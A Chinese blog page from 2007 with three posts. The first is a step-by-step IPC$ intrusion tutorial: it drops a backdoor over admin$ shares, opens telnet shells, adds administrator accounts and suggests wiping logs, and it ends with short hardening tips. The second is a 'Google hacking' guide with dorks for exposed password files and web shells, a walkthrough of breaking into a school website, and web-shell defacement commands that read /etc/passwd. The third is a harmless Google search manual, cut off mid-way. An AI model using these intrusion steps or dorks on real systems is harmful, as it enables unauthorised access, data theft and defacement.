既然是对比,那么我就先把过去的ipc$入侵步骤写给大家,都是蛮经典的步骤:

[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用扫到的空口令建立连接   

[2]
c:\>net view \\127.0.0.1
\\查看远程的共享资源

[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32 
\\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启  

[4]
C:\>net time \\127.0.0.1 
\\查看远程主机的当前时间

[5]
C:\>at \\127.0.0.1 时间 srv.exe 
\\用at命令远程运行srv.exe,需要对方开启了'Task Scheduler'服务  

[6]
C:\>net time \\127.0.0.1
\\再次查看当前时间来估算srv.exe是否已经运行,此步可以省略

[7]    
C:\>telnet 127.0.0.1 99 
\\开一个新窗口,用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思?那你就把它想象成
远程机器的控制权就好了,操作像DOS),99端口是srv.exe开的一次性后门的端口  

[8]
C:\WINNT\system32>net start telnet
\\我们在刚刚登陆上的shell中启动远程机器的telnet服务,毕竟srv.exe是一次性的后门,我们需要一个长久的
后门便于以后访问,如果对方的telnet已经启动,此步可省略

[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原来那个窗口中将ntlm.exe传过去,ntlm.exe是用来更改telnet身份验证的  

[10]
C:\WINNT\system32>ntlm.exe 
\\在shell窗口中运行ntlm.exe,以后你就可以畅通无阻的telnet这台主机了
  
[11]
C:\>telnet 127.0.0.1 23
\\在新窗口中telnet到127.0.0.1,端口23可省略,这样我们又获得一个长期的后门

[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet上以后,你可以建立新帐户,激活guest,把任何帐户加入管理员组等

好了,写到这里我似乎回到了2,3年前,那时的ipc$大家都是这么用的,不过随着新工具的出现,上面提到的一
些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的ipc$入侵吧。

[1]
p***ec.exe \\IP -u 管理员帐号 -p 密码 cmd 
\\用这个工具我们可以一步到位的获得shell

OpenTelnet.exe \\server 管理员帐号 密码 NTLM的认证方式 port
\\用它可以方便的更改telnet的验证方式和端口,方便我们登陆

[2]
已经没有第二步了,用一步获得shell之后,你做什么都可以了,安后门可以用winshell,克隆就用ca吧,开终端
用3389.vbe,记录密码用win2kpass,总之好的工具不少,随你选了,我就不多说了。


十四 如何防范ipc$入侵察看本地共享资源
运行-cmd-输入net share
删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把Res
trictAnonymous = DWORD的键值改为:1
如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的
权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面
所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地
安全设置-本地策略-安全选项-'对匿名连接的额外限制'


2 禁止默认共享

1)察看本地共享资源
运行-cmd-输入net share

2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3)停止server服务
net stop server /y (重新启动后server服务会重新开启)

4)禁止自动打开默认共享(此操作并不能关闭ipc$共享) 
运行-regedit

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServ
er\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\
Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。


3 关闭ipc$和默认共享依赖的服务:server服务
如果你真的想关闭ipc$共享,那就禁止server服务吧:
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX
服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。 


4 屏蔽139,445端口 
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。

1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled 
Type: REG_DWORD
Value: 0
修改完后重启机器
注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。 

3)安装防火墙进行端口过滤


6 设置复杂密码,防止通过ipc$穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全
的多。


十五 ipc$入侵问答精选
1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

答:留下记录是一定的,你走后用清除日志程序删除就可以了,或者用肉鸡入侵。


2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功

答:像“找不到网络路径”“找不到网络名”之类的问题,大多是因为你想要复制到的共享文件夹没有开启,所以
在复制的时候会出现错误,你可以试着找找其他的共享文件夹。


3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没
别的办法了吗?

答:建议先用流光或者别的什么扫描软件试着猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。


4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

答:首先纠正你的一个错误,用net view \\ip是无法看到默认共享的,你可以试着将文件复制到c$,d$看看,
如果都不行,说明他关闭了默认共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。


5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add

答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell
(比如telnet)之后,你才能在远程机器建立一个帐户,否则你的操作只是在本地进行。


6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示
“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

答:一般来说“拒绝访问”都是权限不够的结果,可能是你用的帐户有问题,还有一种可能,如果你想向普通共享
文件夹复制文件却返回这个错误,说明这个文件夹设置的允许访问用户中不包括你(哪怕你是管理员),这一点我
在上一期文章中分析了。


7.我用Win98能与对方建立ipc$连接吗?

答:理论上不可以,要进行ipc$的操作,建议用win2000,用其他操作系统会带来许多不必要的麻烦。


8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这
是为什么?

答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所
说的情况;还有可能是你自己的NBT没有打开,netstat命令是建立在NBT之上的。  


9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

答:呵呵,这说明你已经与目标主机建立了ipc$连接,两个主机间同时建立两个ipc$连接是不允许的。


10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?

答:你也太粗心了吧,这说明你有一个h盘了,映射到没有的盘符吧!


11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错
误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。

答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理
员的弱口令吧!默认共享一般是需要管理员权限的。


12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不
一定能空连接,因为对方可以关闭ipc$共享.


13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能
复制东西,说错误5。请问为什么?

答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾
权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。


14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\1
posted @ 2007-01-01 17:08 MEYE 阅读(2362) | 评论 (0)编辑 收藏
用Google你可瞬间从菜鸟成为黑客

google hacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用
途。google hacking其实并非如此简单... 
  google hacking的简单实现

使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的),下面
就来介绍一些常用的语法。 

  intext:

  这个就是把网页中的正文内容中的某个字符做为搜索条件,例如在google里输入:intext:动网,将返回所
有在网页正文部分包含"动网"的网页。

  allintext:

  使用方法和intext类似.

  intitle:

  和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符,例如搜索:intitle:安全天使,将返回
所有网页标题中包含“安全天使”的网页。同理allintitle也同intitle类似。

  cache:

  搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦。

  define:

  搜索某个词语的定义。搜索:define:hacker,将返回关于hacker的定义。

  filetype:

  这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的搜索指定类型的文件。例如输入:iletype:
doc,将返回所有以doc结尾的文件URL。当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰
富。

  info:

  查找指定站点的一些基本信息。

  inurl:

  搜索我们指定的字符是否存在于URL中。例如输入:inurl:admin,将返回N个类似于这样的连接:http://
xxx.com/xxx/admin。用来找管理员登陆的URL不错。allinurl也同inurl类似,可指定多个字符。

  link:

  例如搜索:inurl:4ngel.net可以返回所有和4ngel.net做了链接的URL。

  site:

  这个也很有用,例如:site:4ngel.net.将返回所有和4ngel.net这个站有关的URL。

 对了还有一些符号也是很有用的:

 + 把google可能忽略的字列如查询范围

  - 把某个字忽略

  ~ 同意词

  . 单一的通配符

  * 通配符,可代表多个字母

  "" 精确查询

  下面开始说说实际应用

  以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了。而goo
gle正因为其强大的搜索能力往往会把一些敏感信息透露给他们。用google搜索以下内容:

  intitle:"index of" etc
  intitle:"Index of" .sh_history
  intitle:"Index of" .bash_history
  intitle:"index of" passwd
  intitle:"index of" people.lst
  intitle:"index of" pwd.db
  intitle:"index of" etc/shadow
  intitle:"index of" spwd
  intitle:"index of" master.passwd
  intitle:"index of" htpasswd
  "# -FrontPage-" inurl:service.pwd

  有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么
危害是很大的。同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露
漏洞,可以用google来找网上使用这套程序的站点:

  intext:ZeroBoard filetype:php

  或者使用:

  inurlutlogin.php?_zb_path= site:.jp

  来寻找我们所需要的页面。phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致
我们可以不使用密码直接对phpmyadmin进行操作,我们可以用google搜索存在这样漏洞的程序URL:

  intitle:phpmyadmin intext:Create new database

  还记http://www.xxx.com/_vti_bin/..%5 ... ystem32/cmd.exe?dir吗?用google找找,你也许还可
以找到很多古董级的机器。 同样我们可以用这个找找有其他cgi漏洞的页面。

  allinurl:winnt system32

  前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access
的数据库,mssql、mysql的连接文件等等).举个例子示例一下:

  allinurl:bbs data
  filetype:mdb inurl:database
  filetype:inc conn
  inurl:data filetype:mdb

  intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的
原理一样,我们还可以用google来找后台。

利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。 

首先用google先看这个站点的一些基本情况(一些细节部分就略去了):

  site:xxxx.com

  从返回的信息中,找到几个该校的几个系院的域名:

  http://a1.xxxx.com
  http://a2.xxxx.com
  http://a3.xxxx.com
  http://a4.xxxx.com

  顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没。

  site:xxxx.com filetype:doc

  得到N个不错的doc。 

  先找找网站的管理后台地址:

  site:xxxx.com intext:管理

  site:xxxx.com inurl:login

  site:xxxx.com intitle:管理

  超过获得2个管理后台地址:

  http://a2.xxxx.com/sys/admin_login.asp
  http://a3.xxxx.com:88/_admin/login_in.asp

  还算不错,看看服务器上跑的是什么程序:

  site:a2.xxxx.com filetype:asp
  site:a2.xxxx.com filetype:php
  site:a2.xxxx.com filetype:aspx
  site:a3.xxxx.com filetype:asp
  site:.......
  ......

a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛a3服务器也是IIS,aspx+asp。w
eb程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:

site:a2.xxxx.com intext:ftp://*:*

  没找到什么有价值的东西。再看看有没有上传一类的漏洞:

  site:a2.xxxx.com inurl:file
  site:a3.xxxx.com inurl:load

  在a2上发现一个上传文件的页面:

  http://a2.xxxx.com/sys/uploadfile.asp

  用IE看了一下,没权限访问。试试注射,

  site:a2.xxxx.com filetype:asp

  得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽
然不高但已足矣,back a shell不太喜欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再
说,MD5加密过。 一般学校的站点的密码都比较有规律,通常都是域名+ 电话一类的变形,用google搞定吧。

  site:xxxx.com //得到N个二级域名
  site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
  site:xxxx.com intext:电话 //N个电话

  把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一
个可能是老师的帐号。登陆上去:

  name:网站管理员

  pass:a2xxxx7619 //说了吧,就是域名+4个数字要再怎么提权那就不属于本文讨论访问了,呵呵,到此为
止。

  这段时间在国外的一些google hack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者
配合某个脚本漏洞,主要还是靠个人的灵活思维。国外对于google hack方面的防范也并不是很多,所以大家还
是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑apache的网管们应该多注意一下这方面,一个intitle:
index of就差不多都出来了。

  1.查找利用php webshell

  intitle:"php shell*" "Enable stderr" filetype:php

  (注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果
中,你能找到很多直接在机器上执行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNI
X,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHP
SHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的
内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

  echo "召唤" > index.jsp

  现在看看首页,已经被我们改成: "召唤" 了。

  我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > 
index.html or echo "" > file

  echo "test" >> file

  这样一条条打出来,站点首页就成功被替换了。同样的也可以

  uname -a;cat /etc/passwd

  不过有点要注意,有些WEBSHELL程序有问题,执行不了的,

  2.搜索INC敏感信息

  在google的搜索框中填入:

  Code:
  .org filetype:inc

<--advertisement code begin--><-- -->
posted @ 2007-01-01 17:02 MEYE 阅读(563) | 评论 (0)编辑 收藏

Google搜索从入门到精通v4.0

Google搜索从入门到精通v4.0

Google搜索从入门到精通v4.0

donquix 2002.8

1,前言
2,摘要
3,如何使用本文
4,Google简介
5,搜索入门
6,初阶搜索
  6.1,搜索结果要求包含两个及两个以上关键字
  6.2,搜索结果要求不包含某些特定信息
  6.3,搜索结果至少包含多个关键字中的任意一个
7,杂项语法
  7.1,通配符问题
  7.2,关键字的字母大小写
  7.3,搜索整个短语或者句子
  7.4,搜索引擎忽略的字符以及强制搜索
8,进阶搜索
  8.1,对搜索的网站进行限制
  8.2,查询某一类文件
  8.3,搜索的关键字包含在URL链接中
  8.4,搜索的关键字包含在网页标题中
  8.5,搜索的关键字包含在网页“锚”内
9,其他罕用语法
  9.1,搜索所有链接到某个URL地址的网页
  9.2,查找与某个页面结构内容相似的页面
  9.3,从Google服务器上缓存页面中查询信息
10,图片搜索
11,目录检索
12,新闻组搜索
13,Google的其他杰出功能
  13.1,网页快照
  13.2,集成化的工具条
  13.3,单词英文解释
  13.4,网页翻译
  13.5,单词纠错
  13.6,搜索结果过滤
14,Google尚未发布的一些新特性和功能
  14.1,对网页更新日期做出限定
  14.2,新闻搜索
  14.3,分类广告搜索
  14.4,其它Google的最新发展动态
  14.5,一个有趣的地方
15,后记

——————————————————————————————————

1,前言

我是在2000年上半年知道Google的。在这之前,我搜索英文信息通常用AltaVista,而搜索中文信息则常用Sina。但自使用了 Google之后,它便成为我的Favorite Search engine了。这也得感谢新浪网友曹溪,因为当初正是因为他的大力推介,才使我识得了Google。

记得1996年夏季的时候,当我第一次接触Internet,便被扑面而来的魔力征服了。那种天涯咫尺的感觉,真是妙不可言。在经历了疯狂的WWW冲浪和如痴如醉的BBS沉迷之后,我意识到Internet对我影响至深的还是在于学习方式的变迁。

如何来描述这种变迁呢?以前的学习,一般需要预先在肚子里存储下足够的知识,必要时,就从海量的信息中提取所需的部分。这种学习方式造就了很多 “才高八斗,学富五车”的大才子。但是,到了信息领域大大超出“四书五经”的新时期,预先无目的的吞下海量信息的学习方式就有些不合时宜了。比方说,我们到了大型的图书城,往往有一种不知所措的感觉。旧有的学习方式需要变更以适应这个信息爆炸的年代。目的明确的去学习,即先知道要学什么,然后有目的的去寻找答案,这种方式看上去更加有效率。我不妨把这称为“即学式”,相应的,旧有的称为“预学式”。

不过,“即学式”的实施是有前提的。首先,要求学习者拥有一个包罗万象的信息库,以供随时抽取各种目的信息;其次,是需要一个强劲的信息检索工具,以便高效率的从信息库中提取信息。很明显,Internet可以充当那个海量的信息库,而搜索引擎,则正是寻找光明之火的绝好工具。

“公欲善其事,必先利其器”。Internet只有一个,而搜索引擎则有N多个。有搜索高手说,所谓搜索,就是“在正确的地方使用正确的工具和正确的方法寻找正确的内容”。但是,对于普通人而言,掌握诸多搜索引擎的可能性似乎不大。用一两个相对强劲的具代表性的工具达到绝大多数搜索目的更为人们所迫切希望。不同的时期,涌现出不同的强者。就目前而言,我们非常幸运的有了: *****Google******

2,摘要

本文简要的介绍了Google的历史和特点,Google的基本搜索语法和高级搜索语法,Google的特色功能,包括图片搜索、新闻组搜索和集成工具条等。尽管本文名为“Google搜索从入门到精通”,但事实上,本文只能算是对Google的一个并不十分完全的介绍而已。

3,如何使用本文

阅读本文最好具备一些最基本的布尔代数基础,如“与”、“或”、“非”等。不过,即便你没有这方面的知识,也不必在意。对那些实例进行练习,你的疑惑就会迎刃而解。对于刚刚接触网络搜索的读者而言,也许你应该从头到尾的阅读本文;但对于那些有一定搜索基础的读者而言,只需要跳跃着寻找自己所需要的信息就可以了。此外,你也可以参考中文Google大全:
http://www.Google.com/intl/zh-CN/about.html ,以及搜索帮助: http://www.google.com/intl/zh-CN/help.html ,那是官方Google使用手册以及问题解答中心。

4,Google简介

Google(
www.Google.com )是一个搜索引擎,由两个斯坦福大学博士生Larry Page与Sergey Brin于1998年9月发明,Google Inc. 于1999年创立。2000年7月份,Google替代Inktomi成为Yahoo公司的搜索引擎,同年9月份,Google成为中国网易公司的搜索引擎。98年至今,Google已经获得30多项业界大奖。到Google的新闻中心(http: //www.Google.com/press/index.html),你可以找到关于一切关于Google的历史和新闻资料。

Google的成功得益于其强大的功能和独到的特点:

Google检索网页数量达24亿,搜索引擎中排名第一;
Google支持多达132种语言,包括简体中文和繁体中文;
Google网站只提供搜索引擎功能,没有花里胡哨的累赘;
Google速度极快,年初时据说有15000多台服务器,200多条T3级宽带;
Google的专利网页级别技术PageRank能够提供准确率极高的搜索结果;
Google智能化的“手气不错”功能,提供可能最符合要求的网站;
Google的“网页快照”功能,能从Google服务器里直接取出缓存的网页。

Google具有独到的图片搜索功能;
Google具有强大的新闻组搜索功能;
Google具有二进制文件搜索功能(PDF,DOC,SWF等);
Google还有很多尚在开发阶段的令人吃惊的设想和功能。
等等

5,搜索入门

要用Google做搜索,当然首先要进Google网站--www.Google.com;不过,163.com和yahoo.com.cn使用的实际上也是Google搜索引擎,只是对搜索结果进行了编排,而且无法提供一些特色功能,如图片搜索等。因此,如果你要搜索网页的话,就直接使用 Google.com吧。

第一次进入Google,它会根据你的操作系统,确定语言界面。需要提醒的是,Google是通过cookie来存储页面设定的,所以,如果你的系统禁用cookie,就无法对Google界面进行个人设定了。

Google的首页很清爽,LOGO下面,排列了四大功能模块:网站、图像、新闻组和目录服务。默认是网站搜索。现在进行第一次搜索实践,假定你是个搜索新手,想要了解一下搜索引擎的来龙去脉和搜索技巧。在搜索框内输入一个关键字“搜索引擎”,选中“搜索中文(简体)网页”选项,然后点击下面的 “Google搜索”按钮(或者直接回车),结果就出来了。 搜索:“搜索引擎”
结果:已搜索有关搜索引擎的中文(简体)网页。 共约有707,000项查询结果,这是第1-10项 。 搜索用时0.08秒。

仔细看一下搜索结果的前十项,就会发现绝大部分链接是搜索引擎本身,而不是对搜索引擎的或者搜索技巧方面的介绍。

注意:文章中搜索语法外面的引号仅起引用作用,不能带入搜索栏内。

6,初阶搜索

上例是最基本的搜索,即查询包含单个关键字的信息。但是,你可以发现,上例中,单个关键字“搜索引擎”,搜索得的信息浩如烟海,而且绝大部分并不符合自己的要求,怎么办呢?我们需要进一步缩小搜索范围和结果。

6.1,搜索结果要求包含两个及两个以上关键字

一般搜索引擎需要在多个关键字之间加上“ ”,而Google无需用明文的“ ”来表示逻辑“与”操作,只要空格就可以了。现在,我们需要了解一下搜索引擎的历史,因此期望搜得的网页上有“搜索引擎”和“历史”两个关键字。

示例:搜索所有包含关键词“搜索引擎”和“历史”的中文网页
搜索:“搜索引擎 历史”
结果:已搜索有关搜索引擎 历史的中文(简体)网页。 共约有78,600项查询结果,这是第1-10项 。 搜索用时0.36秒。

用了两个关键字,查询结果已经从70多万项减少到7万多项。但查看一下搜索结果,发现前列的绝大部分结果还是不符合要求,大部分网页涉及的“历史”,并不是我们所需要的“搜索引擎的历史”。怎么办呢?删除与搜索引擎不相关的“历史”。我们发现,这部分无用的资讯,总是和“文化”这个词相关的,另外一些常见词是“中国历史”、“世界历史”、 “历史书籍”等。

6.2,搜索结果要求不包含某些特定信息

Google用减号“-”表示逻辑“非”操作。“A ?B”表示搜索包含A但没有B的网页。

示例:搜索所有包含“搜索引擎”和“历史”但不含“文化”、“中国历史”和“世界历史”的中文网页
搜索:“搜索引擎 历史 -文化 -中国历史 -世界历史”
结果:已搜索有关搜索引擎 历史 -文化 -中国历史 -世界历史的中文(简体)网页。 共约有36,800项查询结果,这是第1-10项 。 搜索用时0.22秒。

我们看到,通过去掉不相关信息,搜索结果又减少了将近一半。第一个搜索结果是:

搜索引擎直通车≡搜索引擎发展历史
搜索引擎直通车, ... 搜索引擎专业介绍站点. ...
www.se-express.com/about/about.htm - 14k - 网页快照 - 类似网页

非常符合搜索要求。另外,第八项搜索结果:

463搜索王
本站检索 整个网站 在此输入关键词. 你的当前
位置:首页 >> Internet搜索手册 >> 搜索引擎的历史. ...
www.cnco.net/search/history.htm - 21k - 网页快照 - 类似网页

也符合搜索要求。但是,10个结果只有两个符合要求,未免太少了点。不过,在没有更好的策略之前,不妨先点开一个结果看看。点开se- express.com的这个名为“搜索引擎发展历史”的网页,我们发现,搜索引擎的历史,是与互联网早期的文件检索工具“Archie”息息相关的。此外,搜索引擎似乎有个核心程序,叫“蜘蛛”,而最早成型的搜索引擎是“Lycos”,使搜索引擎深入人心的是“Yahoo”。了解了这些信息,我们就可以进一步的让搜索结果符合要求了。

注意:这里的“ ”和“-”号,是英文字符,而不是中文字符的“+”和“-”。此外,操作符与作用的关键字之间,不能有空格。比如“搜索引擎 - 文化”,搜索引擎将视为关键字为“搜索引擎”和“文化”的逻辑“与”操作,中间的“-”被忽略。

6.3,搜索结果至少包含多个关键字中的任意一个。

Google用大写的“OR”表示逻辑“或”操作。搜索“A OR B”,意思就是说,搜索的网页中,要么有A,要么有B,要么同时有A和B。在上例中,我们希望搜索结果中最好含有“archie”、“lycos”、“蜘蛛”等关键字中的一个或者几个,这样可以进一步的精简搜索结果。

示例:搜索如下网页,要求必须含有“搜索引擎”和“历史”,没有“文化”,可以含有以下关键字中人任何一个或者多个:“Archie”、“蜘蛛”、“Lycos”、“Yahoo”。
搜索:“搜索引擎 历史 archie OR 蜘蛛 OR lycos OR yahoo -文化”
结果:已搜索有关搜索引擎 历史 archie OR 蜘蛛 OR lycos OR yahoo -文化的中文(简体)网页。 共约有8,400项查询结果,这是第1-10项 。 搜索用时0.16秒。

我们看到,搜索结果缩小到8千多项,前20项结果中,大部分都符合搜索要求。如果你想了解一下解搜索引擎的历史发展,就不妨研究一下现在搜索到的结果吧。 注意:“与”操作必须用大写的“OR”,而不是小写的“or”。

在上面的例子中,我介绍了搜索引擎最基本的语法“与”“非”和“或”,这三种搜索语法Google分别用“ ”(空格)、“-”和“OR”表示。顺着上例的思路,你也可以了解到如何缩小搜索范围,迅速找到目的资讯的一般方法:目标信息一定含有的关键字(用“ ”连起来),目标信息不能含有的关键字(用“-”去掉),目标信息可能含有的关键字(用“OR”连起来)。

7,杂项语法

7.1,通配符问题

很多搜索引擎支持通配符号,如“*”代表一连串字符,“?”代表单个字符等。Google对通配符支持有限。它目前只可以用“*”来替代单个字符,而且包含“*”必须用""引起来。比如,“"以*治国"”,表示搜索第一个为“以”,末两个为“治国”的四字短语,中间的“*”可以为任何字符。

7.2,关键字的字母大小写

Google对英文字符大小写不敏感,“GOD”和“god”搜索的结果是一样的。

7.3,搜索整个短语或者句子

Google的关键字可以是单词(中间没有空格),也可以是短语(中间有空格)。但是,用短语做关键字,必须加英文引号,否则空格会被当作“与”操作符。

示例:搜索关于第一次世界大战的英文信息。
搜索:“"world war I"”
结果:已向英特网搜索"world war i". 共约有937,000项查询结果,这是第1-10项 。 搜索用时0.06秒。

7.4,搜索引擎忽略的字符以及强制搜索

Google对一些网路上出现频率极高的英文单词,如“i”、“com”、“www”等,以及一些符号如“*”、“.”等,作忽略处理。

示例:搜索关于www起源的一些历史资料。
搜索:“www的历史 internet”
结果:以下的字词因为使用过于频繁,没有被列入搜索范围: www 的. 已搜索有关www的历史 internet的中文(简体)网页。 共约有75,100项查询结果,这是第1-10项 。 搜索用时0.22秒。

我们看到,搜索“www的历史 internet”,但搜索引擎把“www”和“的”都省略了。于是上述搜索只搜索了“历史”和“internet”。这显然不符合要求。这里我顺便说一点搜索引擎分词的知识。当我们在搜索“www的历史”的时候,搜索引擎实际上把这个短语分成三部分,“www”、“的”和“历史”分别来检索,这就是搜索引擎的分词。所以尽管你输入了连续的“www的历史”,但搜索引擎还是把这个短语当成三个关键字分别检索。

如果要对忽略的关键字进行强制搜索,则需要在该关键字前加上明文的“+”号。
搜索:“+www +的历史 internet”
结果:已搜索有关+www +的历史 internet的中文(简体)网页。 共约有25,000项查询结果,这是第1-10项 。 搜索用时0.05秒。

另一个强制搜索的方法是把上述的关键字用英文双引号引起来。在上例“”world war I””中,“I”其实也是忽略词,但因为被英文双引号引起来,搜索引擎就强制搜索这一特定短语。

搜索:“"www的历史" internet”
结果:已搜索有关"www的历史" internet的中文(简体)网页。 共约有7项查询结果,这是第1-6项 。 搜索用时0.26秒。

我们看到,这一搜索事实上把“www的历史”作为完整的一个关键字。显然,包含这样一个特定短语的网页并不是很多,不过,每一项都很符合要求。

注意:大部分常用英文符号(如问号,句号,逗号等)无法成为搜索关键字,加强制也不行。

8,进阶搜索

上面已经探讨了Google的一些最基础搜索语法。通常而言,这些简单的搜索语法已经能解决绝大部分问题了。不过,如果想更迅速更贴切找到需要的信息,你还需要了解更多的东西。

8.1,对搜索的网站进行限制

“site”表示搜索结果局限于某个具体网站或者网站频道,如“
www.sina.com.cn ”、“edu.sina.com.cn”,或者是某个域名,如“com.cn”、“com”等等。如果是要排除某网站或者域名范围内的页面,只需用“-网站/域名”。

示例:搜索中文教育科研网站(edu.cn)上关于搜索引擎技巧的页面。
搜索:“搜索引擎 技巧 site:edu.cn”
结果:已搜索有关搜索引擎 技巧 site:edu.cn的中文(简体)网页。 共约有608项查询结果,这是第1-10项 。 搜索用时0.05秒。

示例:上著名IT门户网站ZDNET和CNET搜索一下关于搜索引擎技巧方面的资讯。
搜索:“"search engine" tips site:
www.zdnet.com OR site: www.cnet.com
结果:已在
www.zdnet.com 内搜索有关"search engine" tips OR site: www.cnet.com 的网页。 共约有1,040项查询结果,这是第1-10项 。 搜索用时0.09秒。

注意,在这里Google有个小BUG。“已在
www.zdnet.com 内搜索…”,其实应该表述成“已在 www.zdnet.com www.cnet.com 内搜索…”。

示例:搜索新浪科技频道中关于搜索引擎技巧的信息。
搜索:“搜索引擎 技巧 site:tech.sina.com.cn”
结果:已在tech.sina.com.cn搜索有关搜索引擎 技巧 的中文(简体)网页。 共约有163项查询结果,这是第1-10项 。 搜索用时0.07秒。

